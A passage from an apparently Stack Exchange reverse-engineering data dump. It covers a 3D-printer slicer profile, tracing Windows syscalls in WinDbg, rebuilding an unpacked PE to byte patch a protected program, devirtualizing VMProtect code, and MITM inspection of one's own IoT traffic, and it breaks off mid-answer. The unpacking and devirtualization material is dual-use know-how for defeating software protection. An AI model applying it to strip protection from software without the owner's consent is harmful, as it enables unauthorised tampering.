&amp;lt;increaseFanForBridging&amp;gt;1&amp;lt;/increaseFanForBridging&amp;gt;&#xA;    &amp;lt;bridgingFanSpeed&amp;gt;50&amp;lt;/bridgingFanSpeed&amp;gt;&#xA;    &amp;lt;startingGcode&amp;gt;M115 U3.6.0 ; tell printer latest fw version,M205 X8.00 Y8.00 Z0.40 E1.50 ; sets the jerk limits mm/sec,G28 W ; home all without mesh bed level,G80 ; mesh bed leveling,G1 Y-3.0 F1000.0 ; go outside printing area,G92 E0.0,G1 X60.0 E9.0  F1000.0 ; intro line,G1 X100.0 E12.5  F1000.0 ; intro line,G92 E0.0,M221 S100,M900 K45 ; Linear Advance PET,&amp;lt;/startingGcode&amp;gt;&#xA;    &amp;lt;filamentPricesPerKg&amp;gt;29.99|29.99|29.99|29.99|29.99|29.99&amp;lt;/filamentPricesPerKg&amp;gt;&#xA;    &amp;lt;filamentDensities&amp;gt;1.27|1.27|1.27|1.27|1.27|1.27&amp;lt;/filamentDensities&amp;gt;&#xA;  &amp;lt;/autoConfigureMaterial&amp;gt;&#xA;  &amp;lt;autoConfigureMaterial name=&amp;quot;ColorFabb XT&amp;quot;&amp;gt;&#xA;    &amp;lt;globalExtruderTemperature&amp;gt;250&amp;lt;/globalExtruderTemperature&amp;gt;&#xA;    &amp;lt;globalBedTemperature&amp;gt;85&amp;lt;/globalBedTemperature&amp;gt;&#xA;    &amp;lt;globalExtrusionMultiplier&amp;gt;0.95&amp;lt;/globalExtrusionMultiplier&amp;gt;&#xA;    &amp;lt;fanSpeed&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;1&amp;quot; speed=&amp;quot;0&amp;quot;/&amp;gt;&#xA;      &amp;lt;setpoint layer=&amp;quot;4&amp;quot; speed=&amp;quot;50&amp;quot;/&amp;gt;&#xA;    &amp;lt;/fanSpeed&amp;gt;&#xA;    &amp;lt;increaseFanForBridging&amp;gt;1&amp;lt;/increaseFanForBridging&amp;gt;&#xA;    &amp;lt;bridgingFanSpeed&amp;gt;50&amp;lt;/bridgingFanSpeed&amp;gt;&#xA;    &amp;lt;startingGcode&amp;gt;M115 U3.6.0 ; tell printer latest fw version,M205 X8.00 Y8.00 Z0.40 E1.50 ; sets the jerk limits mm/sec,G28 W ; home all without mesh bed level,G80 ; mesh bed leveling,G1 Y-3.0 F1000.0 ; go outside printing area,G92 E0.0,G1 X60.0 E9.0  F1000.0 ; intro line,G1 X100.0 E12.5  F1000.0 ; intro line,G92 E0.0,M221 S100,M900 K45 ; Linear Advance PET,&amp;lt;/startingGcode&amp;gt;&#xA;    &amp;lt;filamentPricesPerKg&amp;gt;39.95|39.95|39.95|39.95|39.95|39.95&amp;lt;/filamentPricesPerKg&amp;gt;&#xA;    &amp;lt;filamentDensities&amp;gt;1.27|1.27|1.27|1.27|1.27|1.27&amp;lt;/filamentDensities&amp;gt;&#xA;  &amp;lt;/autoConfigureMaterial&amp;gt;&#xA;  &amp;lt;autoConfigureQuality name=&amp;quot;0.10mm DETAIL&amp;quot;&amp;gt;&#xA;    &amp;lt;layerHeight&amp;gt;0.1&amp;lt;/layerHeight&amp;gt;&#xA;    &amp;lt;firstLayerHeightPercentage&amp;gt;150&amp;lt;/firstLayerHeightPercentage&amp;gt;&#xA;    &amp;lt;firstLayerWidthPercentage&amp;gt;100&amp;lt;/firstLayerWidthPercentage&amp;gt;&#xA;    &amp;lt;topSolidLayers&amp;gt;10&amp;lt;/topSolidLayers&amp;gt;&#xA;    &amp;lt;bottomSolidLayers&amp;gt;8&amp;lt;/bottomSolidLayers&amp;gt;&#xA;    &amp;lt;skirtLayers&amp;gt;3&amp;lt;/skirtLayers&amp;gt;&#xA;    &amp;lt;infillPercentage&amp;gt;51&amp;lt;/infillPercentage&amp;gt;&#xA;    &amp;lt;supportInfillPercentage&amp;gt;30&amp;lt;/supportInfillPercentage&amp;gt;&#xA;    &amp;lt;defaultSpeed&amp;gt;2700&amp;lt;/defaultSpeed&amp;gt;&#xA;    &amp;lt;outlineUnderspeed&amp;gt;0.6&amp;lt;/outlineUnderspeed&amp;gt;&#xA;    &amp;lt;solidInfillUnderspeed&amp;gt;0.8&amp;lt;/solidInfillUnderspeed&amp;gt;&#xA;    &amp;lt;supportUnderspeed&amp;gt;0.9&amp;lt;/supportUnderspeed&amp;gt;&#xA;    &amp;lt;infillExtrusionWidthPercentage&amp;gt;120&amp;lt;/infillExtrusionWidthPercentage&amp;gt;&#xA;    &amp;lt;postProcessing&amp;gt;{REPLACE &amp;amp;quot;; feature outer perimeter\n&amp;amp;quot; &amp;amp;quot;; feature outer perimeter\nM204 S500\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature inner perimeter\n&amp;amp;quot; &amp;amp;quot;; feature inner perimeter\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature solid layer\n&amp;amp;quot; &amp;amp;quot;; feature solid layer\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature infill\n&amp;amp;quot; &amp;amp;quot;; feature infill\nM204 S1250\n&amp;amp;quot;}&amp;lt;/postProcessing&amp;gt;&#xA;    &amp;lt;perimeterOutlines&amp;gt;3&amp;lt;/perimeterOutlines&amp;gt;&#xA;    &amp;lt;firstLayerUnderspeed&amp;gt;0.6&amp;lt;/firstLayerUnderspeed&amp;gt;&#xA;    &amp;lt;minSpeedLayerTime&amp;gt;15&amp;lt;/minSpeedLayerTime&amp;gt;&#xA;    &amp;lt;minCoolingSpeedSlowdown&amp;gt;40&amp;lt;/minCoolingSpeedSlowdown&amp;gt;&#xA;    &amp;lt;extruder name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;toolheadNumber&amp;gt;0&amp;lt;/toolheadNumber&amp;gt;&#xA;      &amp;lt;diameter&amp;gt;0.4&amp;lt;/diameter&amp;gt;&#xA;      &amp;lt;autoWidth&amp;gt;0&amp;lt;/autoWidth&amp;gt;&#xA;      &amp;lt;width&amp;gt;0.4&amp;lt;/width&amp;gt;&#xA;      &amp;lt;extrusionMultiplier&amp;gt;0.95&amp;lt;/extrusionMultiplier&amp;gt;&#xA;      &amp;lt;useRetract&amp;gt;1&amp;lt;/useRetract&amp;gt;&#xA;      &amp;lt;retractionDistance&amp;gt;0.8&amp;lt;/retractionDistance&amp;gt;&#xA;      &amp;lt;extraRestartDistance&amp;gt;0&amp;lt;/extraRestartDistance&amp;gt;&#xA;      &amp;lt;retractionZLift&amp;gt;0.4&amp;lt;/retractionZLift&amp;gt;&#xA;      &amp;lt;retractionSpeed&amp;gt;2400&amp;lt;/retractionSpeed&amp;gt;&#xA;      &amp;lt;useCoasting&amp;gt;0&amp;lt;/useCoasting&amp;gt;&#xA;      &amp;lt;coastingDistance&amp;gt;0.2&amp;lt;/coastingDistance&amp;gt;&#xA;      &amp;lt;useWipe&amp;gt;1&amp;lt;/useWipe&amp;gt;&#xA;      &amp;lt;wipeDistance&amp;gt;2&amp;lt;/wipeDistance&amp;gt;&#xA;    &amp;lt;/extruder&amp;gt;&#xA;  &amp;lt;/autoConfigureQuality&amp;gt;&#xA;  &amp;lt;autoConfigureQuality name=&amp;quot;0.15mm OPTIMAL&amp;quot;&amp;gt;&#xA;    &amp;lt;layerHeight&amp;gt;0.15&amp;lt;/layerHeight&amp;gt;&#xA;    &amp;lt;firstLayerHeightPercentage&amp;gt;100&amp;lt;/firstLayerHeightPercentage&amp;gt;&#xA;    &amp;lt;firstLayerWidthPercentage&amp;gt;100&amp;lt;/firstLayerWidthPercentage&amp;gt;&#xA;    &amp;lt;topSolidLayers&amp;gt;8&amp;lt;/topSolidLayers&amp;gt;&#xA;    &amp;lt;bottomSolidLayers&amp;gt;5&amp;lt;/bottomSolidLayers&amp;gt;&#xA;    &amp;lt;skirtLayers&amp;gt;3&amp;lt;/skirtLayers&amp;gt;&#xA;    &amp;lt;infillPercentage&amp;gt;20&amp;lt;/infillPercentage&amp;gt;&#xA;    &amp;lt;supportInfillPercentage&amp;gt;30&amp;lt;/supportInfillPercentage&amp;gt;&#xA;    &amp;lt;defaultSpeed&amp;gt;3600&amp;lt;/defaultSpeed&amp;gt;&#xA;    &amp;lt;outlineUnderspeed&amp;gt;0.5&amp;lt;/outlineUnderspeed&amp;gt;&#xA;    &amp;lt;solidInfillUnderspeed&amp;gt;0.65&amp;lt;/solidInfillUnderspeed&amp;gt;&#xA;    &amp;lt;supportUnderspeed&amp;gt;0.8&amp;lt;/supportUnderspeed&amp;gt;&#xA;    &amp;lt;infillExtrusionWidthPercentage&amp;gt;100&amp;lt;/infillExtrusionWidthPercentage&amp;gt;&#xA;    &amp;lt;postProcessing&amp;gt;{REPLACE &amp;amp;quot;; feature outer perimeter\n&amp;amp;quot; &amp;amp;quot;; feature outer perimeter\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature inner perimeter\n&amp;amp;quot; &amp;amp;quot;; feature inner perimeter\nM204 S1000\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature solid layer\n&amp;amp;quot; &amp;amp;quot;; feature solid layer\nM204 S1000\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature infill\n&amp;amp;quot; &amp;amp;quot;; feature infill\nM204 S1250\n&amp;amp;quot;}&amp;lt;/postProcessing&amp;gt;&#xA;    &amp;lt;perimeterOutlines&amp;gt;2&amp;lt;/perimeterOutlines&amp;gt;&#xA;    &amp;lt;firstLayerUnderspeed&amp;gt;0.45&amp;lt;/firstLayerUnderspeed&amp;gt;&#xA;    &amp;lt;minSpeedLayerTime&amp;gt;15&amp;lt;/minSpeedLayerTime&amp;gt;&#xA;    &amp;lt;minCoolingSpeedSlowdown&amp;gt;35&amp;lt;/minCoolingSpeedSlowdown&amp;gt;&#xA;    &amp;lt;extruder name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;toolheadNumber&amp;gt;0&amp;lt;/toolheadNumber&amp;gt;&#xA;      &amp;lt;diameter&amp;gt;0.4&amp;lt;/diameter&amp;gt;&#xA;      &amp;lt;autoWidth&amp;gt;1&amp;lt;/autoWidth&amp;gt;&#xA;      &amp;lt;width&amp;gt;0.48&amp;lt;/width&amp;gt;&#xA;      &amp;lt;extrusionMultiplier&amp;gt;0.95&amp;lt;/extrusionMultiplier&amp;gt;&#xA;      &amp;lt;useRetract&amp;gt;1&amp;lt;/useRetract&amp;gt;&#xA;      &amp;lt;retractionDistance&amp;gt;0.8&amp;lt;/retractionDistance&amp;gt;&#xA;      &amp;lt;extraRestartDistance&amp;gt;0&amp;lt;/extraRestartDistance&amp;gt;&#xA;      &amp;lt;retractionZLift&amp;gt;0.4&amp;lt;/retractionZLift&amp;gt;&#xA;      &amp;lt;retractionSpeed&amp;gt;2400&amp;lt;/retractionSpeed&amp;gt;&#xA;      &amp;lt;useCoasting&amp;gt;0&amp;lt;/useCoasting&amp;gt;&#xA;      &amp;lt;coastingDistance&amp;gt;0.2&amp;lt;/coastingDistance&amp;gt;&#xA;      &amp;lt;useWipe&amp;gt;1&amp;lt;/useWipe&amp;gt;&#xA;      &amp;lt;wipeDistance&amp;gt;2&amp;lt;/wipeDistance&amp;gt;&#xA;    &amp;lt;/extruder&amp;gt;&#xA;  &amp;lt;/autoConfigureQuality&amp;gt;&#xA;  &amp;lt;autoConfigureQuality name=&amp;quot;0.20mm NORMAL&amp;quot;&amp;gt;&#xA;    &amp;lt;layerHeight&amp;gt;0.2&amp;lt;/layerHeight&amp;gt;&#xA;    &amp;lt;firstLayerHeightPercentage&amp;gt;60&amp;lt;/firstLayerHeightPercentage&amp;gt;&#xA;    &amp;lt;firstLayerWidthPercentage&amp;gt;100&amp;lt;/firstLayerWidthPercentage&amp;gt;&#xA;    &amp;lt;topSolidLayers&amp;gt;5&amp;lt;/topSolidLayers&amp;gt;&#xA;    &amp;lt;bottomSolidLayers&amp;gt;4&amp;lt;/bottomSolidLayers&amp;gt;&#xA;    &amp;lt;skirtLayers&amp;gt;1&amp;lt;/skirtLayers&amp;gt;&#xA;    &amp;lt;infillPercentage&amp;gt;30&amp;lt;/infillPercentage&amp;gt;&#xA;    &amp;lt;supportInfillPercentage&amp;gt;20&amp;lt;/supportInfillPercentage&amp;gt;&#xA;    &amp;lt;defaultSpeed&amp;gt;3600&amp;lt;/defaultSpeed&amp;gt;&#xA;    &amp;lt;outlineUnderspeed&amp;gt;0.5&amp;lt;/outlineUnderspeed&amp;gt;&#xA;    &amp;lt;solidInfillUnderspeed&amp;gt;0.65&amp;lt;/solidInfillUnderspeed&amp;gt;&#xA;    &amp;lt;supportUnderspeed&amp;gt;0.8&amp;lt;/supportUnderspeed&amp;gt;&#xA;    &amp;lt;infillExtrusionWidthPercentage&amp;gt;100&amp;lt;/infillExtrusionWidthPercentage&amp;gt;&#xA;    &amp;lt;postProcessing&amp;gt;{REPLACE &amp;amp;quot;; feature outer perimeter\n&amp;amp;quot; &amp;amp;quot;; feature outer perimeter\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature inner perimeter\n&amp;amp;quot; &amp;amp;quot;; feature inner perimeter\nM204 S1000\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature solid layer\n&amp;amp;quot; &amp;amp;quot;; feature solid layer\nM204 S1000\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature infill\n&amp;amp;quot; &amp;amp;quot;; feature infill\nM204 S1250\n&amp;amp;quot;}&amp;lt;/postProcessing&amp;gt;&#xA;    &amp;lt;perimeterOutlines&amp;gt;3&amp;lt;/perimeterOutlines&amp;gt;&#xA;    &amp;lt;firstLayerUnderspeed&amp;gt;0.6&amp;lt;/firstLayerUnderspeed&amp;gt;&#xA;    &amp;lt;minSpeedLayerTime&amp;gt;15&amp;lt;/minSpeedLayerTime&amp;gt;&#xA;    &amp;lt;minCoolingSpeedSlowdown&amp;gt;35&amp;lt;/minCoolingSpeedSlowdown&amp;gt;&#xA;    &amp;lt;extruder name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;toolheadNumber&amp;gt;0&amp;lt;/toolheadNumber&amp;gt;&#xA;      &amp;lt;diameter&amp;gt;0.4&amp;lt;/diameter&amp;gt;&#xA;      &amp;lt;autoWidth&amp;gt;0&amp;lt;/autoWidth&amp;gt;&#xA;      &amp;lt;width&amp;gt;0.5&amp;lt;/width&amp;gt;&#xA;      &amp;lt;extrusionMultiplier&amp;gt;0.95&amp;lt;/extrusionMultiplier&amp;gt;&#xA;      &amp;lt;useRetract&amp;gt;1&amp;lt;/useRetract&amp;gt;&#xA;      &amp;lt;retractionDistance&amp;gt;0.8&amp;lt;/retractionDistance&amp;gt;&#xA;      &amp;lt;extraRestartDistance&amp;gt;0&amp;lt;/extraRestartDistance&amp;gt;&#xA;      &amp;lt;retractionZLift&amp;gt;0.4&amp;lt;/retractionZLift&amp;gt;&#xA;      &amp;lt;retractionSpeed&amp;gt;2400&amp;lt;/retractionSpeed&amp;gt;&#xA;      &amp;lt;useCoasting&amp;gt;0&amp;lt;/useCoasting&amp;gt;&#xA;      &amp;lt;coastingDistance&amp;gt;0.2&amp;lt;/coastingDistance&amp;gt;&#xA;      &amp;lt;useWipe&amp;gt;1&amp;lt;/useWipe&amp;gt;&#xA;      &amp;lt;wipeDistance&amp;gt;2&amp;lt;/wipeDistance&amp;gt;&#xA;    &amp;lt;/extruder&amp;gt;&#xA;  &amp;lt;/autoConfigureQuality&amp;gt;&#xA;  &amp;lt;autoConfigureQuality name=&amp;quot;0.30mm FAST&amp;quot;&amp;gt;&#xA;    &amp;lt;layerHeight&amp;gt;0.3&amp;lt;/layerHeight&amp;gt;&#xA;    &amp;lt;firstLayerHeightPercentage&amp;gt;50&amp;lt;/firstLayerHeightPercentage&amp;gt;&#xA;    &amp;lt;firstLayerWidthPercentage&amp;gt;100&amp;lt;/firstLayerWidthPercentage&amp;gt;&#xA;    &amp;lt;topSolidLayers&amp;gt;3&amp;lt;/topSolidLayers&amp;gt;&#xA;    &amp;lt;bottomSolidLayers&amp;gt;3&amp;lt;/bottomSolidLayers&amp;gt;&#xA;    &amp;lt;skirtLayers&amp;gt;2&amp;lt;/skirtLayers&amp;gt;&#xA;    &amp;lt;infillPercentage&amp;gt;100&amp;lt;/infillPercentage&amp;gt;&#xA;    &amp;lt;supportInfillPercentage&amp;gt;30&amp;lt;/supportInfillPercentage&amp;gt;&#xA;    &amp;lt;defaultSpeed&amp;gt;3600&amp;lt;/defaultSpeed&amp;gt;&#xA;    &amp;lt;outlineUnderspeed&amp;gt;0.7&amp;lt;/outlineUnderspeed&amp;gt;&#xA;    &amp;lt;solidInfillUnderspeed&amp;gt;0.65&amp;lt;/solidInfillUnderspeed&amp;gt;&#xA;    &amp;lt;supportUnderspeed&amp;gt;0.8&amp;lt;/supportUnderspeed&amp;gt;&#xA;    &amp;lt;infillExtrusionWidthPercentage&amp;gt;100&amp;lt;/infillExtrusionWidthPercentage&amp;gt;&#xA;    &amp;lt;postProcessing&amp;gt;{REPLACE &amp;amp;quot;; feature outer perimeter\n&amp;amp;quot; &amp;amp;quot;; feature outer perimeter\nM204 S800\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature inner perimeter\n&amp;amp;quot; &amp;amp;quot;; feature inner perimeter\nM204 S1000\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature solid layer\n&amp;amp;quot; &amp;amp;quot;; feature solid layer\nM204 S1000\n&amp;amp;quot;},{REPLACE &amp;amp;quot;; feature infill\n&amp;amp;quot; &amp;amp;quot;; feature infill\nM204 S1250\n&amp;amp;quot;}&amp;lt;/postProcessing&amp;gt;&#xA;    &amp;lt;perimeterOutlines&amp;gt;3&amp;lt;/perimeterOutlines&amp;gt;&#xA;    &amp;lt;firstLayerUnderspeed&amp;gt;0.45&amp;lt;/firstLayerUnderspeed&amp;gt;&#xA;    &amp;lt;minSpeedLayerTime&amp;gt;15&amp;lt;/minSpeedLayerTime&amp;gt;&#xA;    &amp;lt;minCoolingSpeedSlowdown&amp;gt;35&amp;lt;/minCoolingSpeedSlowdown&amp;gt;&#xA;    &amp;lt;extruder name=&amp;quot;Primary Extruder&amp;quot;&amp;gt;&#xA;      &amp;lt;toolheadNumber&amp;gt;0&amp;lt;/toolheadNumber&amp;gt;&#xA;      &amp;lt;diameter&amp;gt;0.4&amp;lt;/diameter&amp;gt;&#xA;      &amp;lt;autoWidth&amp;gt;0&amp;lt;/autoWidth&amp;gt;&#xA;      &amp;lt;width&amp;gt;0.5&amp;lt;/width&amp;gt;&#xA;      &amp;lt;extrusionMultiplier&amp;gt;0.97&amp;lt;/extrusionMultiplier&amp;gt;&#xA;      &amp;lt;useRetract&amp;gt;1&amp;lt;/useRetract&amp;gt;&#xA;      &amp;lt;retractionDistance&amp;gt;0.8&amp;lt;/retractionDistance&amp;gt;&#xA;      &amp;lt;extraRestartDistance&amp;gt;0&amp;lt;/extraRestartDistance&amp;gt;&#xA;      &amp;lt;retractionZLift&amp;gt;0&amp;lt;/retractionZLift&amp;gt;&#xA;      &amp;lt;retractionSpeed&amp;gt;2400&amp;lt;/retractionSpeed&amp;gt;&#xA;      &amp;lt;useCoasting&amp;gt;0&amp;lt;/useCoasting&amp;gt;&#xA;      &amp;lt;coastingDistance&amp;gt;0.2&amp;lt;/coastingDistance&amp;gt;&#xA;      &amp;lt;useWipe&amp;gt;1&amp;lt;/useWipe&amp;gt;&#xA;      &amp;lt;wipeDistance&amp;gt;2&amp;lt;/wipeDistance&amp;gt;&#xA;    &amp;lt;/extruder&amp;gt;&#xA;  &amp;lt;/autoConfigureQuality&amp;gt;&#xA;&amp;lt;/profile&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Header File:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;filename,End_Cap&#xA;filepath,C:\Users\Trini8ed\Desktop\STL's\End_Cap.STL&#xA;groupName,&#xA;translate,129.3834,105.6392,4.0000&#xA;scale,1.0000,1.0000,1.0000&#xA;rotate,0.0000,0.0000,0.0000&#xA;rotMatrix,1.000000,0.000000,0.000000,0.000000,0.000000,1.000000,0.000000,0.000000,0.000000,0.000000,1.000000,0.000000,0.000000,0.000000,0.000000,1.000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;And yes I may have answered my own question .-.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="33851" LastEditorUserId="33851" LastEditDate="2020-07-17T03:08:07.267" LastActivityDate="2020-07-17T03:08:07.267" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25515" PostTypeId="1" CreationDate="2020-07-17T16:37:50.043" Score="1" ViewCount="724" Body="&lt;p&gt;basically i would like to follow (system calls / internal calls) that basically lands in the kernel i would like for example to debug a specific dll ex : ntdll.dll and follow it to (NtXXX) function where its located in XXX.sys driver i hope that my question was clear also if its possible doing this with windbg would be a lot better for me instead of using a 3rd part software.&lt;/p&gt;&#xA;&lt;p&gt;i also tried to use Rohitab api monitor but i couldn't understand how does it actually works&lt;/p&gt;&#xA;" OwnerUserId="33862" LastActivityDate="2020-12-15T21:01:25.160" Title="how could i follow a system call from a dll -&gt; kernel driver syscall" Tags="|windows|assembly|c|kernel|syscall|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="25516" PostTypeId="1" CreationDate="2020-07-18T02:04:37.353" Score="3" ViewCount="581" Body="&lt;p&gt;I’m trying to byte patch a 12 year old program written in MS Visual C++ V9. However, some of its code has been packed with ‘Lock Express V2.0’. I’ve loaded the executable in IDA and run the Universal PE Unpacker with success. I’m now able to inspect much more of the code and have identified the actual OEP. What I’d like to do is rebuild the unpacked memory into a new PE file so that I can start byte patching. My unpacking skills are poor but I believe I need to reconstruct the Input Address Table and fix the Header? Could I get some recommendations on how to do this? Programs, scripts, tutorials? Any help would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="29079" LastActivityDate="2020-08-02T14:55:25.813" Title="Reconstructing a PE from unpacked memory in IDA" Tags="|ida|unpacking|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="25517" PostTypeId="2" ParentId="25473" CreationDate="2020-07-18T17:18:14.820" Score="1" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Does any software exist already, with the kind of MITM features I am&#xA;looking for: copy and dump the http traffic? Anything simpler than the&#xA;above?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Yes, you could put your IoT devices behind a system acting as their router. This way, all of their internet-bound traffic traversers the router, and you can monitor everything passively from there. The router can serve DNS, which you will be able to customize to do what you'd like. On the router, you could run a simple packet capture with tcpdump, intercept HTTP using mitmproxy, and/or redirect all traffic to a server of your choice.&lt;/p&gt;&#xA;" OwnerUserId="24222" LastActivityDate="2020-07-18T17:18:14.820" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25518" PostTypeId="1" CreationDate="2020-07-18T18:47:41.703" Score="2" ViewCount="295" Body="&lt;p&gt;I've recently become pretty fascinated with virtualization and retrieving original code from a randomly generated byte code, such as protectors like VMProtect/etc. But I can not get a grasp on how it would actually be done.&lt;/p&gt;&#xA;&lt;p&gt;Although I have read a few writings to help understand virtualization better, even articles specifically written to target the protector I'm trying to devirtualize, I can not relate their articles to my own sample. There are discrepancies between the two which confuse me.&lt;/p&gt;&#xA;&lt;p&gt;I made a small program that takes in a string input and outputs it, then added Virtualization to the function. First thing I notice is that the function now calls another function, and looks like it adds random junk instructions after the call. I also notice that it pushes 4 bytes onto the stack.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.vmp0:00440C0F 68 28 02 8E 51                          push    518E0228h&#xA;.vmp0:00440C14 E8 68 BB FC FF                          call    sub_40C781&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside &lt;code&gt;sub_40C781&lt;/code&gt; I see it is pushing all registers on the stack and also the &lt;code&gt;pushf&lt;/code&gt; instruction which pushes flags. Inbetween these pushes and main instructions, I can't help but notice pointless instructions inbetween, which is a little odd since I only specified Virtualization in protection.&#xA;Anyway, the main valid instructions I managed to scavenge from the function called go as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;push    ebp&#xA;push    ebx&#xA;push    ecx&#xA;push    esi&#xA;push    edi&#xA;pushf&#xA;push    edx&#xA;push    eax&#xA;mov     eax, 0&#xA;push    eax&#xA;mov     esi, [esp+24h+arg_0]&#xA;lea     esi, [esi+eax]&#xA;lea     esp, [esp-0C0h]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But from there, I'm not sure how to proceed. The rest of instructions past the last &lt;code&gt;lea&lt;/code&gt; go as&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.vmp0:0040E187                         loc_40E187:                             ; CODE XREF: .vmp0:00416516↓j&#xA;.vmp0:0040E187                                                                 ; .vmp0:loc_42E5EB↓j ...&#xA;.vmp0:0040E187 8B DE                                   mov     ebx, esi&#xA;.vmp0:0040E189 B8 00 00 00 00                          mov     eax, 0&#xA;.vmp0:0040E18E 0F BA F7 E7                             btr     edi, 0E7h ; 'ç'&#xA;.vmp0:0040E192 66 23 F8                                and     di, ax&#xA;.vmp0:0040E195 2B D8                                   sub     ebx, eax&#xA;.vmp0:0040E197&#xA;.vmp0:0040E197                         loc_40E197:                             ; DATA XREF: sub_40C781:loc_40E197↓o&#xA;.vmp0:0040E197 8D 3D 97 E1 40 00                       lea     edi, loc_40E197&#xA;.vmp0:0040E19D 66 0F A4 D0 09                          shld    ax, dx, 9&#xA;.vmp0:0040E1A2 C1 C8 49                                ror     eax, 49h&#xA;.vmp0:0040E1A5 81 EE 04 00 00 00                       sub     esi, 4&#xA;.vmp0:0040E1AB 0F A3 F8                                bt      eax, edi&#xA;.vmp0:0040E1AE 33 C6                                   xor     eax, esi&#xA;.vmp0:0040E1B0 C6 C4 27                                mov     ah, 27h ; '''&#xA;.vmp0:0040E1B3 8B 06                                   mov     eax, [esi]&#xA;.vmp0:0040E1B5 F9                                      stc&#xA;.vmp0:0040E1B6 F8                                      clc&#xA;.vmp0:0040E1B7 E9 79 12 05 00                          jmp     loc_45F435&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I can't see how this would be interpreting code and translating it to its x86 representation. From my understanding, &lt;code&gt;esi&lt;/code&gt; is probably the VM's instruction ptr. &lt;code&gt;loc_40E197&lt;/code&gt; seems to be the instruction 'dispatcher' for lack of better words. But I can not get a grasp of the inner workings, &lt;code&gt;esi&lt;/code&gt; seems to be decremented by 4 each loop, which I thought would be 1 instead.&lt;/p&gt;&#xA;&lt;p&gt;Any insight on to how to proceed would be greatly appreciated.&lt;/p&gt;&#xA;" OwnerDisplayName="user29468" LastActivityDate="2020-07-18T18:47:41.703" Title="Devirtualization" Tags="|assembly|vmprotect|virtualizers|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="25519" PostTypeId="2" ParentId="25515" CreationDate="2020-07-18T19:34:35.753" Score="1" Body="&lt;p&gt;Assuming You Wrote this code&lt;br /&gt;&#xA;This opens a file in the current Directory&lt;br /&gt;&#xA;Reads its contents and counts the content length and&lt;br /&gt;&#xA;Prints to console contents and count&lt;/p&gt;&#xA;&lt;p&gt;This is a crt function it transistions from&lt;br /&gt;&#xA;&lt;strong&gt;crt&lt;/strong&gt; to &lt;strong&gt;kernel32.dll , kernelbase.dll and ntdll.dll&lt;/strong&gt; in user mode. and&lt;br /&gt;&#xA;from ntdll it transitions into kernel mode via a &lt;strong&gt;syscall&lt;/strong&gt; to &lt;strong&gt;NtCreateFile in ntoskrnl/ntkrnlmp.exe&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;int main (void) &#xA;{&#xA;    int c=0,n=0;&#xA;    FILE *fp = NULL;&#xA;    errno_t err = fopen_s(&amp;amp;fp,&amp;quot;test.txt&amp;quot;,&amp;quot;rb&amp;quot;);&#xA;    if(fp != NULL &amp;amp;&amp;amp; err == 0)&#xA;    {&#xA;        do&#xA;        {&#xA;            n++;&#xA;            c = fgetc(fp);&#xA;            printf(&amp;quot;%c&amp;quot; , c);&#xA;        }while(c !=EOF);&#xA;        fclose(fp);&#xA;    }&#xA;    printf(&amp;quot;\nfile has %d charecters\n&amp;quot; ,n );&#xA;    return n;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;you can use windbg &lt;strong&gt;uf /c&lt;/strong&gt; command to create a flow map as shown below&lt;br /&gt;&#xA;i use dynamic analysis as there are many indirect calls and it is easy to&lt;br /&gt;&#xA;find the destination dynamically&lt;/p&gt;&#xA;&lt;p&gt;open fopen.exe in windbg set a break on call fopen_s and hit &lt;strong&gt;f5&lt;/strong&gt; to break on the call&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; rM0&#xA;fopen!main+0x29:&#xA;00a21029 e892a50000      call    fopen!fopen_s (00a2b5c0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;enter this call and issue a uf /c . (note the .denotes current IP)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;0:000&amp;gt; t&#xA;fopen!fopen_s:&#xA;00a2b5c0 8bff            mov     edi,edi&#xA;&#xA;0:000&amp;gt; uf /c .&#xA;fopen!fopen_s (00a2b5c0)&#xA;  fopen!fopen_s+0xd (00a2b5cd):&#xA;    call to fopen!_errno (00a42ffd)&#xA;  fopen!fopen_s+0x17 (00a2b5d7):&#xA;    call to fopen!_invalid_parameter_noinfo 